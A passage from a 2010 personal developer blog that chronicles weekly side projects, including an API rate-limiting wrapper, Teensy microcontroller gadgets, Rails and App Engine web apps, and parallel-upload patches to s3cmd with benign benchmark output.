After some thought I realized that output conversion isn't really something I would want if I or anyone else was building a public API. So it seemed reasonable to skip.
After a lot of reading it turns out I really didn't understand oauth all that well. Acting as an oauth provider or as a consumer for an API that sits in the middle doesn't really make sense. Perhaps in the provisioning portion, but that isn't practical since you'd have to interface with end points that aren't defined. By Thursday I had dropped the feature and moved on.

API/SaaS Wrapper - Friday

2010-10-01T00:00:00+00:00

And it all comes together. I'll be spending some free hours Saturday and Sunday polishing the project up and adding some features from my "Nice to have" list. But otherwise it's good to go. While it isn't yet close to a direct competitor to Mashery's platform I feel like it's going to be a pretty strong contender for the lazy developer in us all who doesn't want to have to tack on access keys, signing and rate limiting to their existing product in order to make their API publicly accessible. I'll post a final wrap up on Sunday.

Exciting Features, Developed and Working

Proxy multiple APIs via CNAME or path with a single instance
Developer provisioning with access keys, secrets and signing options
Configurable default and per developer rate limits in minute, hour and day increments.
Standalone jetty service, google app engine compatible

API/SaaS Wrapper - Monday

2010-09-27T00:00:00+00:00

First off a programming note. This post was late today because I ended up having to throw out several ideas for projects as they had already been done. The first ideas was to build an open source video trans-coding service and potentially build it directly in to SinMagick. Unfortunately it looks like Panda Stream has been offering an open source video trans-coding service for a few years now. The next idea was to solve the problem of the designated driver taking home a car load of inebriated friends. In which order should you drop them off to make the trip most efficient? Unfortunately this idea has already been worked on, you can find an iPhone app by Route4Me that does exactly what I described. The next ideas was to provide a way to use your iPhone's camera as a raw video device on desktop computers. But after a little bit of searching I stumbled on PocketCam. Frustrating!

The next idea was one that I've been kicking around for a while. Basically if you have a service like SinMagick for example. And you'd like to implement a freemium model you need to build out all sorts of different features to support it. Such as authentication, signup, throttling, logging, billing and a way to block unauthorized access. Building it directly into pre-existing code can be even more painful. There is already a company, Mashery, in this space however they target the premium space exclusively and don't offer an open source or shrink wrapped product. That's the market I hope to capture this week.

Project Summary: API/SaaS Wrapper for Web Services

Planned Features:

Authentication via OAuth
Developer Registration
Rate Limits
Reporting/Logging
Output Conversion JSON->XML
Multiple APIs

Monetization - Considering the following

Premium Feature Modules for things like Billing Support
Shrinkwrapped Product
OpenSource with EC2 private instances

Microcontroller - Sunday

2010-09-26T00:00:00+00:00

Released! I had a blast this week working with these electronics projects. I'll definitely be doing more over the course of the next year. There's something strangely gratifying about lighting up a few LEDs on command or receiving input from a simple keypad. Especially when you have to wire them up and write the code yourself. Writing in C was like going back to my CSE 142 course at the University of Washington. Although no one is grading me this time and if I screw up I can catch components on fire. Check out the demos on youtube below. And contact me if you need a part list or wiring diagram and I'd be happy to provide one.

Demos
Lighting - http://www.youtube.com/watch?v=pI2g945pEy0
Big Red Button - http://www.youtube.com/watch?v=9tkcO66Bc8M
Meeting Calculator - http://www.youtube.com/watch?v=Xk0m1Xe7pKE

Source Code
http://github.com/pcorliss/Teensy-Projects

A few things that went better than expected

It was awesome to dig back in my electronics bin and pull out some of my crazy ideas for electronics projects. Then actually move forward on them, spend the time and complete them. Releasing anything is usually satisfying, but coming back to something I had previously set aside and finishing it up is redeeming.
Electronics projects seem unique to me in that you can get going pretty quickly and without a lot of effort. The equivalent of a hello world on a microcontroller might be reading switch input or lighting up an LED. But it doesn't take much more to wire up multiple LEDs and really start creating something pretty cool without investing a lot of time. Whereas with a lot of the frameworks and languages like Ruby and Python that I've been working on, hello world is easy, but as soon as you want to do something non-standard it's a monumental challenge to find the proper syntax and setup.

Challenges

My C is rusty. Thankfully I was able to glean enough from various internet forums to fill in the gaps left by my intro to programming course back in the Fall of 1999. Now I feel old.
I started programming back when your average consumer grade desktop machine had roughly a 400Mhz CPU to work with. Since then the bulk of my programming work has taken place on multi-core 2Ghz+ machines. The Teensy only runs at 16Mhz, and you can step it down further to save on power. So using the Teensy chip where adding an extra instruction in your control loop can cause a noticeable flicker in your LEDs is quite a change of pace.
All of the projects this week draw power over USB which is limited to 400 mA. This caused a few issues where it was possible I wouldn't be able to light as many LEDs simultaneously as I would have liked and required me to rely on techniques where LEDs were switched on and off quickly to conserve power.
You can see in the meeting calculator video that a lot of wire was used for wiring the 7-segment displays. Each one requires 8 wires for each segment (digit plus decimal point) and a 9th for 5V supply. It took about 3 hours to get the entire project wired up. Not including tweaking and finding small shorts or poor connections. And that was before I had even written the software to something as simple as display a digit or handle the matrix.

Features Missed

I didn't have an appropriate box to mount the projects in so I ended up using a bread board for all of them. Which means it's likely that these projects will never be standalone and we'll be stuck on the breadboard for the foreseeable future.
The chip socket I had doesn't actually work with my teensy 1.0. So I had to scrap using it on a circuit board. I ended up just using the breadboard instead.

Microcontroller - Thursday

2010-09-23T00:00:00+00:00

I meant to post this yesterday when it was filmed but it slipped my mind. This is the first portion of this weeks project. Unfortunately I had intended to solder this on to a circuit board for a more permanent setup but the chip socket I had wouldn't accommodate the teensy's pins. I just got some more headers in the mail so I'll give those a try Friday or Saturday.

I also received some small push button switches, which I'll have to integrate to provide more preset lighting options.

Microcontroller - Monday

2010-09-20T00:00:00+00:00

About a year ago I purchased a Teensyduino to try my hand at some low level hardware projects. I managed to get a RGB LED to fade in and out of various colors and write a small daemon to pass keyboard commands over the serial interface. All the building blocks necessary to build some nice mood lamps and put it on my bookshelf. Or perhaps create a big-red-button switch so I could fire off deployments. I bought some more parts periodically but never finished the projects up. Well, now is the time. Because these are all relatively small I'm going to lump them in to the same week. There's a good chance I'll be cursing my ambitiousness on Sunday.

Equipment and tools:

Breadboard
Teensy 1.0 (16KB Flash, 512B RAM) & Teensy++ 1.0 (64K Flash, 4K RAM)
Keypads
7 segment LED displays
RGB LEDs
Big Red Button & Switches
IKEA spice jars with glass beads
Plenty of wire, resistors and solder

Project Summary:

Build a pleasant light display for the bookshelves
Build a missile command launch system with keypad, safety switch and big red button. Perfect for deployments.
Build a meeting clock to display the escalating cost of a meeting


Big Red Button	Keypad

7 Segment Displays	Teensy & Teensy++

Friend Boost - Saturday

2010-09-18T00:00:00+00:00

Released! I need to do a little more testing to ensure email delivery works. But overall it's ready to go and be used. The concept is simple, you login with your facebook credentials, you're presented with a list of your friends. You select how often you'd like to contact them and optionally opt-in to the email reminder service. It's small, simple and I hope useful to the folks out there like myself that can't stay in touch with friends.

Go manage those relationships!
http://booster.50projects.com/

A few things that went better than expected

Heroku has a freemium business model. The free plan, which I'm using, allows a single concurrent HTTP connection and a 5Mb database. If you're looking for more than one concurrent connection the prices jump up significantly. I imagine I'll switch to a Linode instance as soon as I get enough traffic to warrant it.

SendGrid provides a decent SMTP host and they also have a freemium model. The free plan includes 200 emails per day. After that the prices are quite reasonable.

Challenges

As mentioned on Friday, I'm not terribly happy with the design but I do think my design and layout skills are slowly improving.
Scope decreased dramatically early on as I realized no one wanted to click a hundred boxes every week to signify whether they had been in touch with someone.
Perhaps I just need to work with more frameworks but starting from scratch with rails is a pain if you don't know where you're going. Rails does so much behind the scenes that it feels like an uphill battle as soon as I want to go beyond the basic scaffolding.

Features Missed

Unfortunately Facebook doesn't allow you to send private messages to users. So I had to implement an email service instead of something internal to facebook. Not terribly but I would have liked to avoid collecting emails and then setting up SendGrid.
Facebook also doesn't allow you to collect phone number information. Which means any sort of VOIP integration wasn't an option.

Friend Boost - Friday

2010-09-17T00:00:00+00:00

One of the issues I keep running into with consumer facing web apps is my lack of experience in design and layout. Developing a compelling and following that up with the styling to make it look like the mockup I've created on paper provides endless challenges. This week I decided to spend as much time as possible developing the backend and core components (ie. Struggling with Ruby on Rails) and leave styling to the very end. I've still got a little more work to do on the back end and some configuration prior to release but I did the styling today. You can see the before and after pictures below.

I'm slowly getting more comfortable with CSS and layout. But compared to some of my peers my work appears fairly amateurish. Hopefully I can refine these skills further over the next 44 weeks.


Pre-Styling	Post-Styling

Faces and names obscured to protect the innocent.

Friend Boost - Monday

2010-09-13T00:00:00+00:00

Lets start off by saying I'm horrible at maintaining friendships. According to facebook I have 95 friends, of these I haven't seen most of them in more than 6 months. I reach out occasionally via instant messenger or facebook. But I rarely call folks out of the blue and I'm not likely to respond to a voicemail or text message. So what's a guy like me supposed to do? This is where I need a CRM for my friends. Most of the tools in the space (Gist, Etacts, Rapportive) are geared towards businesses trying to manage their twitter and facebook accounts or sales people trying to stay in touch with professional contacts. None seem to manage the day to day aspects of trying to stay in touch with your friends. Or at least I haven't found any during my research. Look for some early facebook integration prototypes by mid-week.

Project Summary: Build a webapp using Ruby on Rails to help manage social relationships.

Planned Features:

Facebook Graph Integration
Reminders to contact folks
Integration with Twilio, CloudVox or GoogleVoice

Monetization:

Google AdSense

Rails, Video, and embeds! Oh My! - Friday

2010-09-10T00:00:00+00:00

Unfortunately I've decided to discontinue work on this week's project. It looks like I didn't do enough research in the early stages (Monday morning) and decided to build a feature that already exists as part of YouTube. I totally botched the research portion and as such missed a major feature of the very service I was trying to build on to.

Fail early and fail often is the mantra I've heard before. It's not something I like to embrace. Ideally I like to scope something out adequately, work my butt off, meet the goals I or others have set for myself, and release it. It may not be a winner and may not make a million dollars. But at the very least I can look at it, and say, "I did that. That represents X amount of hours of me hacking away at a keyboard."

Part of the allure of 50projects was that I would hedge my bets. No one project would be my focus for a period of time. Instead I'd get to dance around and try out all of the neat technologies and hone my skills. Conversely the thing that scared that pants off of me was the idea of 50 opportunities to fail miserably (and publicly). The odds are that many of the projects are going to fail. This just happens to be the first. I can accept that some of my projects may not get used in a real world scenario. I can accept that I won't see $1 from many if not all of them. I just have difficulty swallowing the fact that some are going to end up being nothing more than a learning experience.

As far as learning experiences go. I messed around with Ruby on Rails and pulled some content out of YouTube's Data API. Nothing revolutionary but hopefully it will allow me to build up future projects a little bit faster.

Next week, I'll be starting early on the research to make sure this sort of thing doesn't happen in the future (or at least not as often).

Rails, Video, and embeds! Oh My! - Wednesday

2010-09-08T00:00:00+00:00

I seem to be Perpetually falling behind, even on the small projects. In the meantime here's a demo of some of the basic functionality behind queuing up multiple youtube videos. Use the left and right arrows to skip back or forwards. Or just wait for the adorable corgi to go off screen and you'll move on auto-magically to the next video.

http://50proj-public.s3.amazonaws.com/youQueue/youtube_embed.html

Rails, Video, and embeds! Oh My! - Monday

2010-09-06T00:00:00+00:00

This week I'll be going back to ruby and devleoping a rails application. Primarily so that I'm not not totally lost when I attend Windy City Rails on Saturday. I'll also be targeting a much smaller scope than last week. But with greater emphasis on bells and whistles that are conceived of during development. Potentially this will also lay some of the groundwork for another project down the line involving consumer video.

Project Summary: Build a webapp using Ruby on Rails to enable strings of videos to play continuously without interruption.

Planned Features:

YouTube Integration
Generate Embed Codes
Short URL generator
Bells and Whistles

Monetization:

Google AdSense

If There's Time:

Integration with other video services
Video Aggregator

Celebrity Freebie List - Sunday

2010-09-05T00:00:00+00:00

Released! An update for you folks mid-week would have been good. But there was so much work to do and so little to show that I kept putting it off until I had a reasonable demo. Next time I'll make sure to post a mid-week update with at least some screen shots of Eclipse so you don't think I've been slacking off. The first version went live last night and I fixed a few minor bugs with usability this morning. To be successful I need you folks out there to help me by using it yourselves. You'll help me out even more by sharing your list on twitter and facebook.

Go have fun!
http://celebrity.50projects.com/

A few things that went better than expected

Google App Engine is free up until a certain threshold. The limitations are worth it if you're willing to limit yourself to GQL and Java or Python.
Google App Engine has some great getting started documents and an eclipse plugin that makes a lot of this pretty easy. I wish they had more than just the one tutorial but I was able to get where I needed to go by reading the documentation.
As I developed the app I kept adding additional features to my todo list. By Saturday I was feeling pretty good that the app not only did what I originally planned by exceeded my initial expectations.

Challenges

Internet Explorer is an "insulting abortion of FAIL" according to a friend of mine who I occasionally turn to for technical questions. I've got to say that I agree with him. I spent roughly 25% of the week dealing with IE specific javascript and styling issues.
Google Query Language, they say you get what you pay for. The query language has some quirks that make doing anything database heavy very difficult. For example say I want all of the db entries for celebrities where their name starts with "Ann" sorted by rank. A MySQL statement would look like this. "SELECT * FROM Celebs WHERE name LIKE 'ann%' ORDER BY rank;". Unfortunately GQL doesn't have a like operator. So it becomes this "SELECT * FROM Celebs WHERE name >= 'ann' && name < 'anm';". Also you can't sort by a field that isn't used in an inequality operator and you can't have more than one field used with an inequality operator. Which means we can't order by rank. Not a big deal, it just means extra code to sort it yourself.
I had a lot of issues putting together a design that I thought looked good. I lack the CSS and layout skills necessary to even rip off other designs out there. Hopefully this becomes less of an issue over the next few months as I work on more web apps.

Features Missed

A Facebook App was purposefully omitted since it didn't make sense and didn't integrate into facebook. I might expand the app later and turn the list into something more collaborative as a follow up project.
Google AdSense requires you enter in your URL to signup. Which I didn't have until I released the app last night. I've put in a request for review and should hopefully get approved Tuesday or Wednesday.

Celebrity Freebie List - Monday

2010-08-30T00:00:00+00:00

Abrupt change of course and time for something a little risqué. This week will be focused on a consumer facing product, specifically the celebrity list AKA freebie list AKA laminated list. For those not familiar, the list is short list of celebrities whom you are allowed to sleep with if given the opportunity. Originally made popular by an episode of Friends

I'll be using Java (maybe Python) on Google App Engine for this project. I've never used App Engine prior to this but it's free. And so far I've managed to avoid any hosting costs in my previous projects. The secondary benefit is it should run indefinitely without monitoring or maintenance. This seems particularly relevant since during initial research I stumbled on 3 facebook apps that did something similar to what I'm proposing. All of them threw an error on loading. Either they never worked or they have since been abandoned

Project Summary: Build an application in Java or Python on Google App Engine to allow users to create and save their list of celebrity freebies.

Planned Features:

Auto-complete
Image search
Facebook app setup and integration
Post to social networks

Monetization:

Google AdSense sign up and setup

If There's Time:

Port to either Java or Python for speed comparison

S3Cmd Modifications - Saturday

2010-08-28T00:00:00+00:00

Released! I finished up the last of the testing for parallel download and upload handling last night. Most of the time between when I actually got it working and now was spent adding in some error handling, debugging and modifying the display slightly. For the impatient the changes are available at http://github.com/pcorliss/s3cmd-modification

A few things that went better than expected

The speed boost on uploads and downloads makes this patch a must have for anyone doing a lot of transfers to and from s3. Especially when lots of small files are involved. See my previous post for an example. I'm really happy it worked out as well as it did and the code looks pretty clean.
I was worried about the learning curve necessary but I think I picked Python up fairly quickly. There are a wealth of built-in classes that came in very handy. Additionally lots of documentation out there to get started fairly quickly.

Challenges

Python's white-space sensitive syntax. 1-tab != 4 spaces, this came up very early in the process as I was getting familiar with python. I crave a language like Java where syntax is very explicit. Although the mandatory formatting makes things a lot more readable by default.
Still trying to find a decent IDE. Geany is interesting but I don't know if I'll stick with it.
Threading is always a bit of a pain. But trying to shoe-horn it into an established code base in a language you're looking at for the first time can be a challenge. Specifically handling exceptions within a thread and not having to kill it manually. Thankfully Python has some handy classes that made things a bit easier on me.
The original project had a progress report feature that used carriage returns to rewrite the display output line. This works great for sequential download process but simultaneous downloads output gibberish. I spent hours trying to replicate it with multiple threads and eventually just gave up and went with a simple file-started/file-finished output.

Features Missed

Splitting files automatically turned from seemingly simple to complex when I dived into the existing code. It would be possible but would require more modification than I was comfortable with.
I wasn't able to track down the issues with large bucket support like I had planned. Partially since I no longer have access to s3 buckets with millions of files.
The caching implementation I conceived of seemed a little sloppy and I ran out of time.

I forked the project and put it up on github if anyone is interested in downloading it and giving it a try. The patch to the current trunk version (r437) is also available there as well. Using it is as simple as using the original command. Except you have the --parallel option which enables my changes and the --workers=n option where you can specify how many workers to start when doing a transfer. These configuration options are now part of the .s3cfg file as well.
http://github.com/pcorliss/s3cmd-modification

The original project is open source as is the patch. So download and use at will!

S3Cmd Modifications - Thursday

2010-08-26T00:00:00+00:00

Part of the work I've been doing with s3cmd is to add in a threading feature. This should speed up data transfers to s3 for data sets of more than a few files. I got this working on Tuesday and spent part of Wednesday refining it and expanding it such that output is what you would expect and adding some basic error handling. The results of some simple threading have been impressive so far. Anytime you can get an 8x speed boost I'd consider that a win. See below for the breakdown.

A few challenges surrounding error handling have cropped up. I'll have to spend some extra time making sure they're handled properly and don't cause the program to hang. Also python's whitespace sensitivity and syntax is really starting to irritate me. Perhaps a framework like Django will turn it around for me. But I have to say I'm not sure I'll want to go back once this week is over.

Generated 1000 16K files from random data.

pcorliss@hawaii:~/projects/s3cmd$ ls rand | wc -l
1001
pcorliss@hawaii:~/projects/s3cmd$ du -s rand
16032    rand

s3cmd from ubuntu 10.04 repository

pcorliss@hawaii:~/projects/s3cmd$ time s3cmd put rand/* s3://50proj-test-bucket/rand/
rand/0.out -> s3://50proj-test-bucket/rand/0.out  [1 of 1001]
 16384 of 16384   100% in    0s    20.71 kB/s  done
rand/1.out -> s3://50proj-test-bucket/rand/1.out  [2 of 1001]
 16384 of 16384   100% in    0s    47.86 kB/s  done
...
real    6m27.871s
user    0m2.400s
sys    0m0.810s

s3cmd trunk with threading modifications

pcorliss@hawaii:~/projects/s3cmd$ time ./source/s3cmd --parallel put rand/* s3://50proj-test-bucket/rand/
File 'rand/1.out' stored as 's3://50proj-test-bucket/rand/1.out' (16384 bytes in 0.5 seconds, 31.49 kB/s) [2 of 1001]
File 'rand/103.out' stored as 's3://50proj-test-bucket/rand/103.out' (16384 bytes in 0.5 seconds, 29.75 kB/s) [7 of 1001]
File 'rand/104.out' stored as 's3://50proj-test-bucket/rand/104.out' (16384 bytes in 0.5 seconds, 29.58 kB/s) [8 of 1001]
File 'rand/100.out' stored as 's3://50proj-test-bucket/rand/100.out' (16384 bytes in 0.5 seconds, 29.24 kB/s) [4 of 1001]
...
real    0m47.216s
user    0m2.010s
sys    0m0.790s

S3Cmd Modifications - Tuesday

2010-08-24T00:00:00+00:00

Yesterday I had a lot of success breaking open the s3cmd structure and adding in an additional command line argument to modify the default root object of a cloud front object. By 4pm I had a patch all bundled up and ready to submit. Unfortunately the email I received this morning made my heart sink.

Hey Phil, I've already done a patch for default root objects. See
http://sourceforge.net/mailarchive...

Luke

I took a look at the patch and I'm happy that at least he made the same changes I did line for line. In the meantime I'll be getting started on parallel downloads and uploads. I've done something similar with Perl in the past. So hopefully this goes smoothly and someone hasn't already submitted a patch to do the same thing.

S3Cmd Modifications - Monday

2010-08-23T00:00:00+00:00

This week I'm going to work on one of the pain points I ran into during the zip code project. Specifically s3cmd lacks a few features that would be nice to have. After completion I'll see if the project owners are interested in integrating my changes back into the original product.

Project Summary: Modify the s3cmd project to support new features and expand on old ones. Contribute modifications back to the community.

Features

Cloudfront Default Root Object Support
Parralel Uploads and Downloads
Better support for very large buckets and files
Automatic file splitting and joining of large files (> 2Gb)
s3sync local caching

If There's Time

Look at the s3fuse project as well as s3cmd and see if that could be worked on.

Image Processing - Sunday

2010-08-22T00:00:00+00:00

Released! Looks like I'm cutting it close again and it's only the second week. Next week I'll have to work on something a little less ambitious (or maybe work a little harder). Since Friday I've added some documentation, put together the Amazon EC2 AMI (with Varnish) and reworked how the service gets started so that it's a little more performant.

A few things that went better than expected.

Ruby is a pretty fast language to get off the ground with. That's not to say there weren't challenges but by Wednesday and Thursday I was enjoying working with it. It makes my job a lot easier.
Multiple storage targets were implemented, I feel like this is a huge win for both me and anyone that uses the product. Not having to rely on just Amazon's S3 or your own disk and instead being able to specify both as a write targets is a major feature that sets this project apart from others.
This was my first open source project of any note. And the first commit to my github account. I'm pretty proud of giving back to the open source community. Hopefully my stuff gets used by a wide variety of people.

Challenges

Ruby's serving options are a bit limited. I had thought that Sinatra and Mongrel would be able to handle more than one simultaneous request since they were both thread safe. But I was wrong. I wasted 3 hours today trying to get it working only to be told by someone from the #sinatra channel on the freendoe IRC server that it wasn't going to happen. Major bummer. I don't understand how the ruby community tolerates having to duplicate their memory footprint for every simultaneous request they want to serve.
I had worked with Ruby before but never on one being built from scratch. Major hurdles over the first 3 days included getting an IDE setup (Netbeans, probably not going back) and figuring out basic project structure (what goes in lib, config versus staying in the root?). Hopefully future Ruby projects will have less lost time.

Features Missed

A lot of features were dropped for this release. I had a lot of big ideas about what I could do at the beginning but in the end I just ran out of time.
Security Audit - Didn't get a chance to do more than cursory input fuzzing. Looks like Sinatra does a good job of making sure folks don't insert bad stuff.
Better Error Handling - There are a few areas where error handling isn't done. And a few more where more verbose errors about what went wrong could be presented to the end user.
Admin Page - Had to fall back to just using a static YML file. Additionally about 1/3 of the configurable options I had been hoping for were cut. So not a major loss.
Sample Code - Never even got a chance to touch this. Thankfully it's a fairly straightforward web service. Folks should be able to spin it up and get it running relatively easily.

It's open source so you can check it out from the following link.
http://github.com/pcorliss/SinMagick

If you're interested in running this for your own business or personal use. You can purchase the pre-configured AMI. ($50 - Amazon will require you to login first and confirm the purchase)

Image Processing - Friday

2010-08-20T00:00:00+00:00

It's been a long five days. Every time I considered writing an update I realized how far behind I was and decided to crank out some code instead. It looks like it paid off too. I have a functioning Sinatra application which I've named SinMagick. I've even uploaded the initial source checkout to github. I'll be following it up with a few bug fixes, documentation and tests. More details to follow on Saturday and Sunday when I wrap up the last few items on the ToDo list below.

Check out the final feature list below as well as some screen shots of the app in action below.

Features
File and URL Uploading via standard POST
Storage to multiple locations (S3 and local disk)
Support for Redundant Storage with configurable priorities
Scaling, cropping, rotation, grayscale, format changes
Caching of transformed images
Image efficiency calculator (Determines whether PNGs should be JPGs instead)
Easily add other transforms
Open Source
Scalable

ToDo
Documentation
Tests
EC2 AMI Setup
Load Testing


File Uploader for Diagnostics	Uploaded File

Raw Image Output	Transformed Image

Photo Obtained from Wikipedia
Creative Commons Attribution ShareAlike 3.0

Image Processing - Monday

2010-08-16T00:00:00+00:00

It's time for a meat and potatoes, backend project. The first project was designed to be small and contained but it still took me until Saturday to finish it. This week I'll be taking on something much more ambitious. Prior to 50projects I worked at a number of companies that handled images in various capacities so the concept isn't entirely new. This service will be similar in a few respects, notably that it will transform images, it will use ImageMagick libraries to do so and it will optionally use Amazon S3 to store images. However this will be an entirely new product using unique ideas conceived of separately from previous work environments. In other words please don't sue me.

Project Summary: A web service to handle image transforms, storage and caching of images for use by web sites.

Features

jMagick versus rMagick comparison - which is faster
Upload original Images
Download transformed Images
Admin page to configure parameters
Varnish caching for faster serving
Source code on GitHub
Sample code for integration

Monetization Features

32-bit and 64-bit versions on amazon's AMI marketplace

If There's Time

SQS for large scale distributed processing

Intelligent Address Entry - Released - Saturday

2010-08-14T00:00:00+00:00

Just finished up the last revision to the demo scripts and attached an amazon payments link for commercial licenses. Since Thursday I've cleaned up the error handling (Thanks JB!), tested it for compatibility with all major browsers past and present and connected the data backend to Amazon's Cloud Front CDN for faster loading. The CDN setup was more experimental than necessary. But the incremental cost should be trivial for now.

Items that I'm glad I touched on and will definitely come in handy in the future included jQuery, Amazon Cloud Front and Amazon Simple Pay. I'm certain these will be used multiple times in the future.

One item turned out to be challenges that I didn't expect. Setting Amazon's Cloud Front default root object is a pain with the current tools available. I ended up using a development build of a 3rd party python library to set the parameter. As Amazon's Management Console doesn't have a setting exposed.

A couple of features didn't end up getting built. For starters this didn't turn into a JavaScript library like I had intended on Monday. I provided a demo for folks to get started on integrating this into their own products but the demo didn't really include any original code.

Another item that didn't go as planned was global address storage via cookie for users. The more I thought about it the more I realized what a giant privacy mess it could turn into. The work put into it was abandoned shortly thereafter.

The final scripts, data and implementation details are below. As well as a payment link for commercial use. If you have an questions please direct them to me at pcorliss@50projects.com

Looks like the iframe isn't working. You can go here instead http://zip.50projects.com

http://zip.50projects.com

Intelligent Address Entry - Thursday

2010-08-12T00:00:00+00:00

This portion took a little longer than expected due to some issues with getting the last pieces of furniture around the new apartment delivered and installed. But I'm pretty happy with how it turned out. I used jQuery for the jsonp requests and jQuery UI for the auto complete feature.

I'll be refining it today and tomorrow with a release target of Friday night.

Looks like the iframe isn't working. You can go here instead http://zip.50projects.com

Intelligent Address Entry - Tuesday

2010-08-10T00:00:00+00:00

Yesterday I found that the zip code database isn't very accessible and the first hurdle was going to be just obtaining it. After some digging around I found that this data could be extracted via a 10 year old Census database, various private companies, from the USPS on a CD and also via a one-shot lookup tool on the USPS website. Not quite sure why they don't just make the entire database available in it's raw form. Regardless I wrote a small script to automate the data collection via the web form and parse the output. It took about 11 hours to extract all zip codes (55457 zip code and city pairs). I've provided a link to the list below as well as the quick scripts to extract and parse the data from the USPS website. The extraction script could run quite a bit faster by making the requests in parralel. I just didn't see a reason to hammer the USPS website and I wasn't in a rush.

Zip Code City pairs as of (2010-08-09)
Simple Shell Script using curl to connect to USPS site
Simple Perl script to do quick regexes on the input

While that job was running I wrote another script to convert the output to JSON files. Then followed that by using jQuery to query the JSON files and treat the data like an autocomplete mechanism. I'll be finishing that up today hopefully. But I haven't touched javascript since early 2000 and jQuery is completely foreign to me. It's nice to see that these new APIs are available though. It's going to make the implementation phase smoother.

Intelligent Address Entry - Monday

2010-08-09T00:00:00+00:00

Project Summary: This week I'll be creating a JavaScript library to assist web clients with filling in city and state data during address entry via their zip code. Additional features will include global address storage and a few other features. This project should be small and allow me to get up to speed with the short 1-week development and release cycles.

Features

Obtain Zip-Code City Data
Zip-Code -> City call
Address Recall from Cookie
Minification
Hosting via Amazon CDN

Monetization Features

Restrict running host to hostname specified in JS
Pay wall and code generator for custom JS

-or-

Licensing page for simple $50 commercial license
Google Alerts to find javascript in use commercially

Error Handling and Edge Cases

Invalid Zip Codes and addresses
International
APO Boxes and special addresses

Extra stuff

Zip Code Boundary file generated from Census data

Project Zero - Friday

2010-08-06T00:00:00+00:00

Yesterday was spent hefting boxes and constructing bookcases. I'll be glad when we wrap up the unpacking and furniture purchases sometime next week.

Today I've been putting the finishing touches on the blog and associated pages. I've decided to go with something simple for now, mostly because I've realized that I lack an eye for design and layout. Among other things, I'm hopeful 50 projects will force me to get better at skills I've never taken the time to develop. Design, layout and art of any kind have been things I've shied away from for a long time. Hopefully I'll get a chance to exercise some of those long forgotten muscles.

That being said Times New Roman and Courier are perfectly readable fonts and should be used more often. But I'm a sucker for Serifs.

Project Zero - Wednesday

2010-08-04T00:00:00+00:00

Unwilling to leave well enough alone, I ditched the single disk ubuntu install and decided to pull out the big guns: a 6 disk raid 10 install. See the benchmarks below. Not bad for 6 year old SATA drives! Unfortunately the temperatures they're running at (53C) have me a little worried. I'll likely migrate them to some HDD enclosures I have laying around.


6-drive Raid 10	Single Drive

Project Zero - Tuesday

2010-08-03T00:00:00+00:00

Looks like the PSU Newegg.com shipped out to me was faulty. It would partially power the machine but the EATX12V 4-pin port wasn't receiving any power. I plugged in my 240W PSU from my media center machine and managed to post late Monday night. I followed that up by dancing a short victory jig, then promptly fell asleep.

This morning I found a hole-in-the-wall PC repair place. Broken computers filled the shelves behind the counter. The owner sold me a dubious looking 400W PSU (likely used) for $35. Thankfully it was sufficient and the machine posts with its own PSU now. I'll need to consider purchasing a higher end PSU.

Ubuntu was a breeze to install to a single disk, and now I'm up and running with dual monitors. I'll be spending most of the afternoon writing copy and getting some blog posts prepped.

Project Zero - Monday

2010-08-02T00:00:00+00:00

Project Summary: This is an initial project to set up the infrastructure necessary for me to be successful and stay focused over the coming year. Not a traditional project so much as a pre-project: hence the name Project Zero.

Purchase and construct a desk and chair
Purchase and construct a new workstation
Setup 50projects.com domain, sub domains, blog and site
Design a logo
Research business cards and order if prudent
Write base copy for 50 projects
Spam network with links to the blog to get the word out

Desk and Chair constructed yesterday. I managed to find a desk that was sturdy and suitably 'nice' at IKEA that didn't break the bank. The chair is mighty comfy as well. Workstation components came in this afternoon, so I'll be spending this evening working on that.

Introduction

2010-08-01T00:00:00+00:00

Welcome to the 50 projects Blog. For those curious, check out the about page for the full details on what's going on. In short, every week I'll be starting a new project that will focus on something new and will use a wide array of different languages and technologies. I'll be working on an idea from initial research and development all the way to release and marketing. Every Monday morning I'll move on to a new idea.

It's going to be an exciting year. I hope you folks enjoy following my progress, and hopefully you'll get some use out of these projects.